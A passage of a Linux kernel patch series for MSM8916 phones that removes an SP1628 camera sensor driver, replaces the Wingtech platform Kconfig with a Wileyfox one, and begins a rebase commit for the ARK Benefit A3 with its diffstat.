.delay = 50, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 0, - .delay = 1, - }, - - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 5, - }, -}; - -static struct msm_camera_i2c_reg_conf sp1628_start_settings[] = { - {0x92, 0x81}, -}; - -static struct msm_camera_i2c_reg_conf sp1628_stop_settings[] = { - {0x92, 0x01}, -}; - -static struct msm_camera_i2c_reg_conf sp1628_recommend_settings[] = { - {0xfd, 0x00,}, - {0x91, 0x00,}, - {0x92, 0x81,}, - {0x98, 0x2a,}, - {0x96, 0xd0,}, /* c0*/ - {0x97, 0x02,}, /* 03*/ - {0x2f, 0x20,}, /* 24M*3=72M*/ - {0x0b, 0x48,}, /* analog*/ - {0x30, 0x80,}, /* 00*/ - {0x0c, 0x66,}, /* analog*/ - {0x0d, 0x12,}, - {0x13, 0x0f,}, /* 10*/ - {0x14, 0x00,}, - {0x12, 0x00,}, - {0x6b, 0x10,}, /* 11*/ - {0x6c, 0x00,}, - {0x6d, 0x00,}, - {0x6e, 0x00,}, - {0x6f, 0x10,}, /* 11*/ - {0x73, 0x11,}, /* 12*/ - {0x7a, 0x10,}, /* 11*/ - {0x15, 0x17,}, /* 18*/ - {0x71, 0x18,}, /* 19*/ - {0x76, 0x18,}, /* 19*/ - {0x29, 0x08,}, - {0x18, 0x01,}, - {0x19, 0x10,}, - {0x1a, 0xc3,}, /* c1*/ - {0x1b, 0x6f,}, - {0x1d, 0x11,}, /* 01*/ - {0x1e, 0x00,}, /* 1e*/ - {0x1f, 0x80,}, - {0x20, 0x7f,}, - {0x22, 0x3c,}, /* 1b*/ - {0x25, 0xff,}, - {0x2b, 0x88,}, - {0x2c, 0x85,}, - {0x2d, 0x00,}, - {0x2e, 0x80,}, - {0x27, 0x38,}, - {0x28, 0x03,}, - {0x70, 0x1a,}, - {0x72, 0x18,}, /* 1a*/ - {0x74, 0x18,}, - {0x75, 0x18,}, - {0x77, 0x16,}, /* 18*/ - {0x7f, 0x19,}, - {0x31, 0x11,}, /* 720P, no mirror/flip */ - {0xfd, 0x01,}, - {0x5d, 0x11,}, /* position*/ - {0x5f, 0x00,}, - {0x36, 0x08,}, - {0x2f, 0xff,}, - {0xfb, 0x25,}, /* blacklevl*/ - {0x48, 0x00,}, /* dp*/ - {0x49, 0x99,}, - {0xf2, 0x0A,}, - {0xfd, 0x02,}, /* AE*/ - {0x52, 0x34,}, - {0x53, 0x02,}, - {0x54, 0x0c,}, - {0x55, 0x08,}, - {0x86, 0x0c,}, - {0x87, 0x10,}, - {0x8b, 0x10,}, - - /* 12-30 50Hz*/ - {0xfd, 0x00,}, /* ae setting*/ - {0x03, 0x05,}, - {0x04, 0x64,}, - {0x05, 0x00,}, - {0x06, 0x00,}, - {0x09, 0x00,}, - {0x0a, 0x02,}, - {0xfd, 0x01,}, - {0xf0, 0x00,}, - {0xf7, 0xe6,}, - {0xf8, 0xc1,}, - {0x02, 0x08,}, - {0x03, 0x01,}, - {0x06, 0xe6,}, - {0x07, 0x00,}, - {0x08, 0x01,}, - {0x09, 0x00,}, - {0xfd, 0x02,}, - {0x40, 0x0a,}, - {0x41, 0xc1,}, - {0x42, 0x00,}, - {0x88, 0x37,}, - {0x89, 0xa7,}, - {0x8a, 0x22,}, - {0xfd, 0x02,}, /* Status*/ - {0xbe, 0x30,}, - {0xbf, 0x07,}, - {0xd0, 0x30,}, - {0xd1, 0x07,}, - {0xfd, 0x01,}, - {0x5b, 0x07,}, - {0x5c, 0x30,}, - {0xfd, 0x00,}, - - /* 12-30 60Hz*/ - {0xfd, 0x00,}, /* ae setting*/ - {0x03, 0x04,}, - {0x04, 0x80,}, - {0x05, 0x00,}, - {0x06, 0x00,}, - {0x09, 0x00,}, - {0x0a, 0x01,}, - {0xfd, 0x01,}, - {0xf0, 0x00,}, - {0xf7, 0xc0,}, - {0xf8, 0xc1,}, - {0x02, 0x0a,}, - {0x03, 0x01,}, - {0x06, 0xc0,}, - {0x07, 0x00,}, - {0x08, 0x01,}, - {0x09, 0x00,}, - {0xfd, 0x02,}, - {0x40, 0x0a,}, - {0x41, 0xc1,}, - {0x42, 0x00,}, - {0x88, 0x37,}, - {0x89, 0xa7,}, - {0x8a, 0x22,}, - {0xfd, 0x02,}, /* Status*/ - {0xbe, 0x80,}, - {0xbf, 0x07,}, - {0xd0, 0x80,}, - {0xd1, 0x07,}, - {0xfd, 0x01,}, - {0x5b, 0x07,}, - {0x5c, 0x80,}, - {0xfd, 0x00,}, - - {0xfd, 0x01,}, /* fix status*/ - {0x5a, 0x38,}, /* DP_gain*/ - {0xfd, 0x02,}, - {0xba, 0x30,}, /* mean_dummy_low*/ - {0xbb, 0x50,}, /* mean_low_dummy*/ - {0xbc, 0xc0,}, /* rpc_heq_low*/ - {0xbd, 0xa0,}, /* rpc_heq_dummy*/ - {0xb8, 0x80,}, /* mean_nr_dummy*/ - {0xb9, 0x90,}, /* mean_dummy_nr*/ - {0xfd, 0x01,}, /* rpc*/ - {0xe0, 0x54,}, - {0xe1, 0x40,}, - {0xe2, 0x38,}, - {0xe3, 0x34,}, - {0xe4, 0x34,}, - {0xe5, 0x30,}, - {0xe6, 0x30,}, - {0xe7, 0x2e,}, - {0xe8, 0x2e,}, - {0xe9, 0x2e,}, - {0xea, 0x2c,}, - {0xf3, 0x2c,}, - {0xf4, 0x2c,}, - {0xfd, 0x01,}, /* min gain*/ - {0x04, 0xc0,}, /* rpc_max_indr*/ - {0x05, 0x2c,}, /* rpc_min_indr*/ - {0x0a, 0xc0,}, /* rpc_max_outdr*/ - {0x0b, 0x2c,}, /* rpc_min_outdr*/ - {0xfd, 0x01,}, /* ae target*/ - {0xeb, 0x78,}, - {0xec, 0x78,}, - {0xed, 0x05,}, - {0xee, 0x0a,}, - {0xfd, 0x01,}, /* lsc*/ - {0x26, 0x30,}, - {0x27, 0xdc,}, - {0x28, 0x05,}, - {0x29, 0x08,}, - {0x2a, 0x00,}, - {0x2b, 0x03,}, - {0x2c, 0x00,}, - {0x2d, 0x2f,}, - {0xfd, 0x01,}, /* RGainf*/ - {0xa1, 0x37,}, /* left*/ - {0xa2, 0x26,}, /* right*/ - {0xa3, 0x32,}, /* up*/ - {0xa4, 0x2b,}, /* down*/ - {0xad, 0x0f,}, /* lu*/ - {0xae, 0x0a,}, /* ru*/ - {0xaf, 0x0a,}, /* ld*/ - {0xb0, 0x0a,}, /* rd*/ - {0x18, 0x2f,}, /* left*/ - {0x19, 0x30,}, /* right*/ - {0x1a, 0x32,}, /* up*/ - {0x1b, 0x30,}, /* down*/ - {0xbf, 0xa5,}, /* lu*/ - {0xc0, 0x12,}, /* ru*/ - {0xc1, 0x08,}, /* ld*/ - {0xfa, 0x00,}, /* rd*/ - {0xa5, 0x35,}, /* GGain*/ - {0xa6, 0x24,}, - {0xa7, 0x2e,}, - {0xa8, 0x25,}, - {0xb1, 0x00,}, - {0xb2, 0x04,}, - {0xb3, 0x00,}, - {0xb4, 0x00,}, - {0x1c, 0x24,}, - {0x1d, 0x23,}, - {0x1e, 0x2c,}, - {0xb9, 0x25,}, - {0x21, 0xa0,}, - {0x22, 0x13,}, - {0x23, 0x1c,}, - {0x24, 0x0d,}, - {0xa9, 0x2f,}, /* BGain*/ - {0xaa, 0x24,}, - {0xab, 0x2d,}, - {0xac, 0x24,}, - {0xb5, 0x00,}, - {0xb6, 0x00,}, - {0xb7, 0x00,}, - {0xb8, 0x00,}, - {0xba, 0x22,}, - {0xbc, 0x24,}, - {0xbd, 0x31,}, - {0xbe, 0x24,}, - {0x25, 0xa0,}, - {0x45, 0x08,}, - {0x46, 0x12,}, - {0x47, 0x09,}, - {0xfd, 0x01,}, /* awb*/ - {0x32, 0x15,}, - {0xfd, 0x02,}, - {0x26, 0xc9,}, - {0x27, 0x8b,}, - {0x1b, 0x80,}, - {0x1a, 0x80,}, - {0x18, 0x27,}, - {0x19, 0x26,}, - {0x2a, 0x01,}, - {0x2b, 0x10,}, - {0x28, 0xf8,}, - {0x29, 0x08,}, - - /* d65*/ - {0x66, 0x35,}, - {0x67, 0x60,}, - {0x68, 0xb0,}, - {0x69, 0xe0,}, - {0x6a, 0xa5,}, - - /* indoor*/ - {0x7c, 0x38,}, - {0x7d, 0x58,}, - {0x7e, 0xdb,}, - {0x7f, 0x13,}, - {0x80, 0xa6,}, - - /* cwftl84*/ - {0x70, 0x18,}, /* 2f*/ - {0x71, 0x4a,}, - {0x72, 0x08,}, - {0x73, 0x32,}, /* 24*/ - {0x74, 0xaa,}, - - /* tl84--F*/ - {0x6b, 0x02,}, /* 18*/ - {0x6c, 0x2a,}, /* 34*/ - {0x6d, 0x1e,}, /* 17*/ - {0x6e, 0x49,}, /* 32*/ - {0x6f, 0xaa,}, - - /* f--H*/ - {0x61, 0xea,}, /* 02*/ - {0x62, 0xf8,}, /* 2a*/ - {0x63, 0x4f,}, /* 1e*/ - {0x64, 0x5f,}, /* 49*/ - {0x65, 0x5a,}, /* aa*/ - - {0x75, 0x80,}, - {0x76, 0x09,}, - {0x77, 0x02,}, - {0x24, 0x25,}, - {0x0e, 0x16,}, - {0x3b, 0x09,}, - {0xfd, 0x02,}, /* sharp*/ - {0xde, 0x0f,}, - {0xd2, 0x0c,}, /* control black-white edge; 0 - bolder, f - thinner*/ - {0xd3, 0x0a,}, - {0xd4, 0x08,}, - {0xd5, 0x08,}, - {0xd7, 0x10,}, /* outline judgement*/ - {0xd8, 0x1d,}, - {0xd9, 0x32,}, - {0xda, 0x48,}, - {0xdb, 0x08,}, - {0xe8, 0x38,}, /* outline strength*/ - {0xe9, 0x38,}, - {0xea, 0x38,}, /* 30*/ - {0xeb, 0x38,}, /* 2*/ - {0xec, 0x60,}, - {0xed, 0x40,}, - {0xee, 0x38,}, /* 30*/ - {0xef, 0x38,}, /* 20*/ - {0xf3, 0x00,}, /* sharpness level of flat area*/ - {0xf4, 0x00,}, - {0xf5, 0x00,}, - {0xf6, 0x00,}, - {0xfd, 0x02,}, /* skin sharpen*/ - {0xdc, 0x04,}, /* skin de-sharpen*/ - {0x05, 0x6f,}, - {0x09, 0x10,}, - {0xfd, 0x01,}, /* dns*/ - {0x64, 0x22,}, /* 0 - max, 8 - min*/ - {0x65, 0x22,}, - {0x86, 0x20,}, /* threshold, 0 - min*/ - {0x87, 0x20,}, - {0x88, 0x20,}, - {0x89, 0x20,}, - {0x6d, 0x0f,}, - {0x6e, 0x0f,}, - {0x6f, 0x10,}, - {0x70, 0x10,}, - {0x71, 0x0d,}, - {0x72, 0x23,}, - {0x73, 0x23,}, /* 28*/ - {0x74, 0x23,}, /* 2a*/ - {0x75, 0x46,}, /* [7:4] strength of flat area, - [3:0]strength of un-flat area; - 0-max, 8-min*/ - {0x76, 0x36,}, - {0x77, 0x36,}, /* 25*/ - {0x78, 0x36,}, /* 12*/ - {0x81, 0x1d,}, /* 2x*/ - {0x82, 0x2b,}, /* 4x*/ - {0x83, 0x2b,}, /* 50; 8x*/ - {0x84, 0x2b,}, /* 80; 16x*/ - {0x85, 0x0a,}, /* 12/8reg0x81*/ - {0xfd, 0x01,}, /* gamma*/ - {0x8b, 0x00,}, /* 00; 00; 00;*/ - {0x8c, 0x0d,}, /* 02; 0b; 0b;*/ - {0x8d, 0x1f,}, /* 0a; 19; 17;*/ - {0x8e, 0x2d,}, /* 13; 2a; 27;*/ - {0x8f, 0x3a,}, /* 1d; 37; 35;*/ - {0x90, 0x4b,}, /* 30; 4b; 51;*/ - {0x91, 0x59,}, /* 40; 5e; 64;*/ - {0x92, 0x64,}, /* 4e; 6c; 74;*/ - {0x93, 0x70,}, /* 5a; 78; 80;*/ - {0x94, 0x83,}, /* 71; 92; 92;*/ - {0x95, 0x92,}, /* 85; a6; a2;*/ - {0x96, 0xa1,}, /* 96; b5; af;*/ - {0x97, 0xae,}, /* a6; bf; bb;*/ - {0x98, 0xba,}, /* b3; ca; c6;*/ - {0x99, 0xc4,}, /* c0; d2; d0;*/ - {0x9a, 0xcf,}, /* cb; d9; d9;*/ - {0x9b, 0xdb,}, /* d5; e1; e0;*/ - {0x9c, 0xe5,}, /* df; e8; e8;*/ - {0x9d, 0xec,}, /* e9; ee; ee;*/ - {0x9e, 0xf3,}, /* f2; f4; f4;*/ - {0x9f, 0xfa,}, /* fa; fa; fa;*/ - {0xa0, 0xff,}, /* ff; ff; ff;*/ - {0xfd, 0x02,}, /* CCM*/ - {0x15, 0xc8,}, /* b>th ab*/ - {0x16, 0x95,}, /* rdev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init sp1628_init_module(void) -{ - int32_t rc; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&sp1628_platform_driver, - sp1628_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&sp1628_i2c_driver); -} - -static void __exit sp1628_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (sp1628_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&sp1628_s_ctrl); - platform_driver_unregister(&sp1628_platform_driver); - } else - i2c_del_driver(&sp1628_i2c_driver); - return; -} - -int32_t sp1628_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, - void __user *argp) -{ - struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; - int32_t rc = 0; - int32_t i = 0; - mutex_lock(s_ctrl->msm_sensor_mutex); - CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, - s_ctrl->sensordata->sensor_name, cdata->cfgtype); - switch (cdata->cfgtype) { - case CFG_GET_SENSOR_INFO: - memcpy(cdata->cfg.sensor_info.sensor_name, - s_ctrl->sensordata->sensor_name, - sizeof(cdata->cfg.sensor_info.sensor_name)); - cdata->cfg.sensor_info.session_id = - s_ctrl->sensordata->sensor_info->session_id; - for (i = 0; i < SUB_MODULE_MAX; i++) - cdata->cfg.sensor_info.subdev_id[i] = - s_ctrl->sensordata->sensor_info->subdev_id[i]; - cdata->cfg.sensor_info.is_mount_angle_valid = - s_ctrl->sensordata->sensor_info->is_mount_angle_valid; - cdata->cfg.sensor_info.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d sensor name %s\n", __func__, __LINE__, - cdata->cfg.sensor_info.sensor_name); - CDBG("%s:%d session id %d\n", __func__, __LINE__, - cdata->cfg.sensor_info.session_id); - for (i = 0; i < SUB_MODULE_MAX; i++) - CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, - cdata->cfg.sensor_info.subdev_id[i]); - CDBG("%s:%d mount angle valid %d value %d\n", __func__, - __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, - cdata->cfg.sensor_info.sensor_mount_angle); - - break; - case CFG_SET_INIT_SETTING: - /* Write Recommend settings */ - pr_err("%s, sensor write init setting!!", __func__); - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl(s_ctrl->sensor_i2c_client, - sp1628_recommend_settings, - ARRAY_SIZE(sp1628_recommend_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - case CFG_SET_RESOLUTION: - break; - case CFG_SET_STOP_STREAM: - pr_err("%s, sensor stop stream!!", __func__); - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl(s_ctrl->sensor_i2c_client, - sp1628_stop_settings, - ARRAY_SIZE(sp1628_stop_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - case CFG_SET_START_STREAM: - pr_err("%s, sensor start stream!!", __func__); - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl(s_ctrl->sensor_i2c_client, - sp1628_start_settings, - ARRAY_SIZE(sp1628_start_settings), - MSM_CAMERA_I2C_BYTE_DATA); - break; - case CFG_GET_SENSOR_INIT_PARAMS: - cdata->cfg.sensor_init_params.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - cdata->cfg.sensor_init_params.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_init_params.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, - __LINE__, - cdata->cfg.sensor_init_params.modes_supported, - cdata->cfg.sensor_init_params.position, - cdata->cfg.sensor_init_params.sensor_mount_angle); - break; - case CFG_SET_SLAVE_INFO: { - struct msm_camera_sensor_slave_info sensor_slave_info; - struct msm_sensor_power_setting_array *power_setting_array; - int slave_index = 0; - if (copy_from_user(&sensor_slave_info, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_sensor_slave_info))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - /* Update sensor slave address */ - if (sensor_slave_info.slave_addr) { - s_ctrl->sensor_i2c_client->cci_client->sid = - sensor_slave_info.slave_addr >> 1; - } - - /* Update sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = - sensor_slave_info.addr_type; - - /* Update power up / down sequence */ - s_ctrl->power_setting_array = - sensor_slave_info.power_setting_array; - power_setting_array = &s_ctrl->power_setting_array; - power_setting_array->power_setting = kzalloc( - power_setting_array->size * - sizeof(struct msm_sensor_power_setting), GFP_KERNEL); - if (!power_setting_array->power_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(power_setting_array->power_setting, - (void *)sensor_slave_info.power_setting_array.power_setting, - power_setting_array->size * - sizeof(struct msm_sensor_power_setting))) { - kfree(power_setting_array->power_setting); - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - CDBG("%s sensor id %x\n", __func__, - sensor_slave_info.slave_addr); - CDBG("%s sensor addr type %d\n", __func__, - sensor_slave_info.addr_type); - CDBG("%s sensor reg %x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id_reg_addr); - CDBG("%s sensor id %x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id); - for (slave_index = 0; slave_index < - power_setting_array->size; slave_index++) { - CDBG("%s i %d power setting %d %d %ld %d\n", __func__, - slave_index, - power_setting_array->power_setting[slave_index]. - seq_type, - power_setting_array->power_setting[slave_index]. - seq_val, - power_setting_array->power_setting[slave_index]. - config_val, - power_setting_array->power_setting[slave_index]. - delay); - } - kfree(power_setting_array->power_setting); - break; - } - case CFG_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_reg_setting conf_array; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &conf_array); - kfree(reg_setting); - break; - } - case CFG_WRITE_I2C_SEQ_ARRAY: { - struct msm_camera_i2c_seq_reg_setting conf_array; - struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_seq_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_seq_reg_array)), - GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_seq_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_seq_table(s_ctrl->sensor_i2c_client, - &conf_array); - kfree(reg_setting); - break; - } - - case CFG_POWER_UP: - if (s_ctrl->func_tbl->sensor_power_up) - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_POWER_DOWN: - if (s_ctrl->func_tbl->sensor_power_down) - rc = s_ctrl->func_tbl->sensor_power_down( - s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_SET_STOP_STREAM_SETTING: { - struct msm_camera_i2c_reg_setting *stop_setting = - &s_ctrl->stop_setting; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = stop_setting->reg_setting; - stop_setting->reg_setting = kzalloc(stop_setting->size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!stop_setting->reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(stop_setting->reg_setting, - (void *)reg_setting, stop_setting->size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(stop_setting->reg_setting); - stop_setting->reg_setting = NULL; - stop_setting->size = 0; - rc = -EFAULT; - break; - } - break; - } - case CFG_SET_SATURATION: { - - break; - } - case CFG_SET_CONTRAST: { - - break; - } - case CFG_SET_SHARPNESS: { - - break; - } - case CFG_SET_ISO: { - - break; - } - case CFG_SET_EXPOSURE_COMPENSATION: { - - break; - } - case CFG_SET_EFFECT: { - - break; - } - case CFG_SET_ANTIBANDING: { - - break; - } - case CFG_SET_BESTSHOT_MODE: { - - break; - } - case CFG_SET_WHITE_BALANCE: { - - break; - } - default: - rc = -EFAULT; - break; - } - - mutex_unlock(s_ctrl->msm_sensor_mutex); - - return rc; -} - -int32_t sp1628_match_id(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - uint16_t chipid = 0; - - CDBG("%s, E. calling i2c_read:, i2c_addr:%d, id_reg_addr:%d", - __func__, - s_ctrl->sensordata->slave_info->sensor_slave_addr, - s_ctrl->sensordata->slave_info->sensor_id_reg_addr); - - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( - s_ctrl->sensor_i2c_client, - 0x02, - &chipid, MSM_CAMERA_I2C_BYTE_DATA); - if (rc < 0) { - pr_err("%s: %s: read id failed\n", __func__, - s_ctrl->sensordata->sensor_name); - return rc; - } - - CDBG("%s: read id: 0x%x expected id 0x16:\n", __func__, chipid); - if (chipid != 0x16) { - pr_err("msm_sensor_match_id chip id doesnot match\n"); - return -ENODEV; - } - - chipid = 0; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( - s_ctrl->sensor_i2c_client, - 0xa0, - &chipid, MSM_CAMERA_I2C_BYTE_DATA); - if (rc < 0) { - pr_err("%s: %s: read id failed\n", __func__, - s_ctrl->sensordata->sensor_name); - return rc; - } - - CDBG("%s: read id: 0x%x expected id 0x28:\n", __func__, chipid); - if (chipid != 0x28) { - pr_err("msm_sensor_match_id chip id doesnot match\n"); - return -ENODEV; - } - - return rc; -} - - -static struct msm_sensor_fn_t sp1628_sensor_func_tbl = { - .sensor_config = sp1628_sensor_config, - .sensor_power_up = msm_sensor_power_up, - .sensor_power_down = msm_sensor_power_down, - .sensor_match_id = sp1628_match_id, -}; - -static struct msm_sensor_ctrl_t sp1628_s_ctrl = { - .sensor_i2c_client = &sp1628_sensor_i2c_client, - .power_setting_array.power_setting = sp1628_power_setting, - .power_setting_array.size = ARRAY_SIZE(sp1628_power_setting), - .msm_sensor_mutex = &sp1628_mut, - .sensor_v4l2_subdev_info = sp1628_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(sp1628_subdev_info), - .func_tbl = &sp1628_sensor_func_tbl, -}; - -module_init(sp1628_init_module); -module_exit(sp1628_exit_module); -MODULE_DESCRIPTION("Aptina 1.26MP YUV sensor driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/platform/Kconfig b/drivers/platform/Kconfig index 9ff10b759bccf..f2552a6f4a069 100644 --- a/drivers/platform/Kconfig +++ b/drivers/platform/Kconfig @@ -11,6 +11,6 @@ source "drivers/platform/huaqin/Kconfig" source "drivers/platform/longcheer/Kconfig" source "drivers/platform/msm/Kconfig" source "drivers/platform/haier/Kconfig" -source "drivers/platform/wingtech/Kconfig" +source "drivers/platform/wileyfox/Kconfig" source "drivers/platform/yulong/Kconfig" endif diff --git a/drivers/platform/wileyfox/Kconfig b/drivers/platform/wileyfox/Kconfig new file mode 100644 index 0000000000000..c319389bf3e71 --- /dev/null +++ b/drivers/platform/wileyfox/Kconfig @@ -0,0 +1,24 @@ +# Wileyfox configuration options + +config MACH_WILEYFOX + bool "Wileyfox device" + depends on ARCH_MSM + help + Support for Wileyfox products + +config MACH_WILEYFOX_MSM8916 + bool "Wileyfox MSM8916" + depends on ARCH_MSM8916 + select MACH_WINGTECH + help + Support for MSM8916 Wileyfox variants + +menu "Wileyfox board selection" + +config MACH_CRACKLING + bool "CRACKLING board" + select MACH_WILEYFOX_MSM8916 + help + Support for Wileyfox Swift + +endmenu diff --git a/drivers/platform/wingtech/Kconfig b/drivers/platform/wingtech/Kconfig deleted file mode 100644 index 0940b02dbd806..0000000000000 --- a/drivers/platform/wingtech/Kconfig +++ /dev/null @@ -1,30 +0,0 @@ -# Wingtech configuration options - -config MACH_WINGTECH - bool "Wingtech device" - depends on ARCH_MSM - help - Support for Wingtech products - -config MACH_WINGTECH_MSM8916 - bool "Wingtech MSM8916" - depends on ARCH_MSM8916 - select MACH_WINGTECH - help - Support for MSM8916 Wingtech variants - -menu "Wingtech board selection" - -config MACH_WT88047 - bool "WT88047 board" - select MACH_WINGTECH_MSM8916 - help - Support for Wingtech WT88047 Redmi 2 variant - -config MACH_T86519A1 - bool "T86519A1 board" - select MACH_WINGTECH_MSM8916 - help - Support for Wingtech T86519A1 variant - -endmenu From 32b0f155e36386306d4d72a94d78c6244b77d8cd Mon Sep 17 00:00:00 2001 From: Ilya Lebedev Date: Fri, 6 Jan 2017 15:57:50 +0600 Subject: [PATCH 356/365] peach: Rebase for ARK Benefit A3 * Not tested --- .../batterydata-uni-L500C-4v35-2100mah.dtsi | 121 + .../qcom/dsi-panel-nt35521-720p-dj-video.dtsi | 201 + .../qcom/dsi-panel-otm1287a-720p-video.dtsi | 179 + .../dts/qcom/msm8916-camera-sensor-qrd.dtsi | 144 +- arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dts | 16 +- arch/arm/boot/dts/qcom/msm8916-qrd-skuh.dtsi | 207 +- arch/arm/boot/dts/qcom/msm8916-qrd.dtsi | 117 +- arch/arm/configs/zetsubou_peach_defconfig | 3819 +++++++++ build.sh | 2 +- drivers/input/touchscreen/Kconfig | 13 +- drivers/input/touchscreen/Makefile | 12 +- drivers/input/touchscreen/ads7846.c | 8 +- drivers/input/touchscreen/ft5x06_ts.c | 122 +- drivers/input/touchscreen/gt9xx/goodix_tool.c | 19 +- drivers/input/touchscreen/gt9xx/gt9xx.c | 8 +- drivers/input/touchscreen/gt9xx/gt9xx.h | 2 +- drivers/input/touchscreen/hx852xes/Kconfig | 20 + drivers/input/touchscreen/hx852xes/Makefile | 3 + .../input/touchscreen/hx852xes/himax_852xES.c | 6892 +++++++++++++++++ .../input/touchscreen/hx852xes/himax_852xES.h | 647 ++ .../touchscreen/hx852xes/himax_platform.c | 506 ++ .../touchscreen/hx852xes/himax_platform.h | 108 + .../synaptics_dsx/synaptics_dsx_fw_update.c | 7 - .../synaptics_dsx/synaptics_dsx_rmi_dev.c | 21 +- .../input/touchscreen/synaptics_fw_update.c | 7 - drivers/input/touchscreen/synaptics_rmi_dev.c | 20 +- drivers/input/touchscreen/usbtouchscreen.c | 3 - drivers/input/touchscreen/wacom_w8001.c | 2 +- drivers/input/touchscreen/wake_gestures.c | 757 -- .../platform/msm/camera_v2/isp/msm_buf_mgr.c | 9 +- .../platform/msm/camera_v2/isp/msm_isp.h | 6 +- .../platform/msm/camera_v2/isp/msm_isp32.c | 48 +- .../platform/msm/camera_v2/isp/msm_isp40.c | 86 +- .../platform/msm/camera_v2/isp/msm_isp44.c | 52 +- .../platform/msm/camera_v2/isp/msm_isp46.c | 53 +- .../platform/msm/camera_v2/isp/msm_isp47.c | 52 +- .../msm/camera_v2/isp/msm_isp_axi_util.c | 87 +- .../msm/camera_v2/isp/msm_isp_axi_util.h | 2 +- .../platform/msm/camera_v2/isp/msm_isp_util.c | 33 +- .../camera_v2/sensor/actuator/msm_actuator.c | 44 +- include/media/msmb_isp.h | 52 +- 41 files changed, 12931 insertions(+), 1576 deletions(-) create mode 100644 arch/arm/boot/dts/qcom/batterydata-uni-L500C-4v35-2100mah.dtsi create mode 100644 arch/arm/boot/dts/qcom/dsi-panel-nt35521-720p-dj-video.dtsi create mode 100644 arch/arm/boot/dts/qcom/dsi-panel-otm1287a-720p-video.dtsi create mode 100644 arch/arm/configs/zetsubou_peach_defconfig mode change 100755 => 100644 drivers/input/touchscreen/ft5x06_ts.c create mode 100644 drivers/input/touchscreen/hx852xes/Kconfig create mode 100644 drivers/input/touchscreen/hx852xes/Makefile create mode 